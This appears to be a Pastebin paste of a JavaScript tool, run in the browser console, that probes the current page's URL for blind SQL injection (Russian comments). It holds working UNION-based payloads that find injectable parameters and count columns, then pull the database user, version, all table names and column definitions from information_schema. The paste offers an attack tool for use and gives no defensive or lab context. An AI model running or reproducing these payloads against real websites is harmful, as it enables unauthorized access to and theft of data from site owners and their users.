Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- * @author <tz4678@gmail.com>
- * Тестируем страницу на наличие слепых инъекций
- */
- function fetchTitle(url) {
- console.log('fetch title %s', url)
- return fetch(url).then(r => r.text())
- .then(html => new DOMParser().parseFromString(html, 'text/html').title)
- }
- // Корректно работает только со строками, содержащими символы в диапазоне
- // [\u0000-\u007f]
- function str2hex(s) {
- s += ''
- const h = [];
- for (let c of s) {
- c = c.charCodeAt().toString(16)
- h.push('00'.slice(c.length) + c)
- }
- return h.length ? '0x' + h.join('') : ''
- }
- function randChars(len = 8, chars = '1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm') {
- let out = ''
- while (out.length < len) {
- out += chars.charAt(Math.floor(Math.random() * chars.length))
- }
- return out
- }
- function insertPayload(url, payload) {
- payload = encodeURIComponent(payload)
- if (url.endsWith('/')) {
- return url.slice(0, -1) + payload + '/'
- }
- return url + payload
- }
- async function getNumberColumns(url, title, quote) {
- for (let i = 1; i < 128; ++i) {
- // Array(i).map(...) не работает
- // const values = Array(i).fill().map((v, i) => i)
- const values = Array(i).fill('NULL')
- const payload = `${quote} UNION ALL SELECT ${values.join(',')}-- -`
- const urlWithPayload = insertPayload(url, payload)
- const title2 = await fetchTitle(urlWithPayload)
- if (title === title2) {
- return i;
- }
- }
- }
- async function getOutputUrl(url, quote, columns) {
- for (let i = 0; i < columns; ++i) {
- const values = Array(i).fill('NULL')
- const needle = randChars()
- const needleHex = str2hex(needle)
- values[i] = needleHex
- const payload = `${quote} AND 1=2 UNION ALL SELECT ${values.join(',')}-- -`
- const urlWithPayload = insertPayload(url, payload)
- console.log('fetch content %s', urlWithPayload)
- const content = await fetch(urlWithPayload).then(r => r.text())
- if (~content.indexOf(needle)) {
- return urlWithPayload.replace(needleHex, '{inject}');
- }
- }
- }
- async function extractData(query) {
- const boundary = randChars()
- const boundaryHex = str2hex(boundary)
- const url = outputUrl.replace('{inject}', `concat(${boundaryHex},${encodeURIComponent(query)},${boundaryHex})`)
- console.log('fetch content %s', url)
- const content = await fetch(url).then(r => r.text())
- const parts = content.split(boundary, 2)
- return parts[1]
- }
- async function showDatabaseInfo() {
- const data = await extractData("concat_ws(0x09,user(),database(),version())")
- const [user, database, version] = data.split('\t')
- console.table([{user, database, version}])
- }
- async function showAllTables() {
- const query = `(select(@a)from(select(@a:=0x00),(select(0)from(information_schema.tables)where(table_schema!=${str2hex('information_schema')})and(table_schema!=${str2hex('mysql')})and(@a)in(@a:=concat(@a,table_schema,0x09,table_name,0x0A))))a)`
- const data = await extractData(query)
- const rows = data.slice(1, -1).split('\n').map(row => {
- const [table_schema, table_name] = row.split('\t')
- return {table_schema, table_name}
- })
- console.table(rows)
- }
- async function showTables(schema = null) {
- const query = `(select(@a)from(select(@a:=0x00),(select(0)from(information_schema.tables)where(table_schema=${arguments.length ? str2hex(schema) : 'database()'})and(@a)in(@a:=concat(@a,table_name,0x0A))))a)`
- const data = await extractData(query)
- const rows = data.slice(1, -1).split('\n').map(row => {
- const [table_name] = row.split('\t')
- return {table_name}
- })
- console.table(rows)
- }
- async function showColumns(table, schema = null) {
- const query = `(select(@a)from(select(@a:=0x00),(select(0)from(information_schema.columns)where(table_schema=${arguments.length > 1 ? str2hex(schema) : 'database()'})and(table_name=${str2hex(table)})and(@a)in(@a:=concat(@a,column_name,0x09,column_type,0x0A))))a)`
- const data = await extractData(query)
- const rows = data.slice(1, -1).split('\n').map(row => {
- const [column_name, column_type] = row.split('\t')
- return {column_name, column_type}
- })
- console.table(rows)
- }
- (async function () {
- const url = location.href
- const title = document.title
- const quotes = ['', "'", '"']
- for (let quote of quotes) {
- const payload = `${quote} AND ${quote}1${quote}=${quote}`
- const urlWithPayload = insertPayload(url, payload + '1')
- const title2 = await fetchTitle(urlWithPayload)
- console.log('Title#2: %s', title2)
- if (title === title2) {
- const urlWithPayload2 = insertPayload(url, payload + '2')
- const title3 = await fetchTitle(urlWithPayload2)
- console.log('Title#3: %s', title3)
- if (title !== title3) {
- console.info('Blind detected! Url: %s', urlWithPayload)
- const columns = await getNumberColumns(url, title, quote)
- console.log('Number of columns: %d', columns)
- if (columns) {
- window.outputUrl = await getOutputUrl(url, quote, columns)
- if (null === window.outputUrl) {
- console.warn('No output')
- } else {
- console.info('Success')
- }
- }
- break
- }
- }
- }
- })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement